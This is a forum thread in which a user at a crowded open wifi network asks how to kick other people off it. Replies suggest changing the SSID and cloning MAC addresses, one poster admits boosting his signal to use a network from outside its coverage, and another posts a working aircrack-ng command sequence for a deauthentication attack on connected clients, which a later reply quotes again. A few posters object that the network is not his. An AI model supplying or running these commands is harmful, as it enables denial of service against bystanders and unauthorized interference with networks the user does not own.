can I like kick someone off a network?

weflyhigh

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I'm at a place that has one wireless network with no security. There's like 20 ppl connected to it. I can't connect n I think that is why (too many ppl). Sometimes I can connect but no internet.. Sometimees nothing at all. Any quick tips? Typing this from my pre btw... I don't have it set up to tether :(
 

Kalmah

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Just change the ssid.. that will throw them off for a while. :-D
 

caspur

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You can clone their mac address or simply boost your signal greater than theirs.

Mods can probably see what domain I'm posting from and the IP. Essentially I'm boosting my signal to appear that I'm connecting from within the building even though I'm actually in an area that is not serviced by wifi. An no, this is not a government network despite what the domain says.
 

guyver01

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any way to do that without prior internet access?

so.. you're asking how to kick someone off a network... if you're not on the network?

facepalm.jpg
 

AnonymouseUser

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airmon-ng start wlan0 //* Starts wireless adapter in monitor mode *//

airodump-ng mon0 //* Finds local network router BSSIDs *//
airodump-ng --bssid 00:1B:9E:B2:60:00 -c 1 -w output mon0 //* Finds connected clients' MAC address *//

aireplay-ng --deauth 10 -a 00:1B:9E:B2:60:00 -c 00:12:17:94:90:0D mon0 //* Quick DoS attack to disconnect client from router *//


Something like that should do it. :)
 
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disappoint

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airmon-ng start wlan0 //* Starts wireless adapter in monitor mode *//

airodump-ng mon0 //* Finds local network router BSSIDs *//
airodump-ng --bssid 00:1B:9E:B2:60:00 -c 1 -w output mon0 //* Finds connected clients' MAC address *//

aireplay-ng --deauth 10 -a 00:1B:9E:B2:60:00 -c 00:12:17:94:90:0D mon0 //* Quick DDoS to disconnect client from router *//


Something like that should do it. :)

DDoS is distributed denial of service, where's the distributed part? ;-)
 

Leros

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I'm guessing he's at a coffee shop. I've had this problem before, where I can't get on the network because the place is so crowded.
 

alevasseur14

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I'm guessing he's at a coffee shop. I've had this problem before, where I can't get on the network because the place is so crowded.

I think you're right. The wireless network at my University can get overcrowded in bigger lecture halls/libraries. That still doesn't mean it's his right to kick someone off a network that isn't his.
 

Leros

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I think you're right. The wireless network at my University can get overcrowded in bigger lecture halls/libraries. That still doesn't mean it's his right to kick someone off a network that isn't his.

Not right, but I might be tempted myself if I knew how to do it.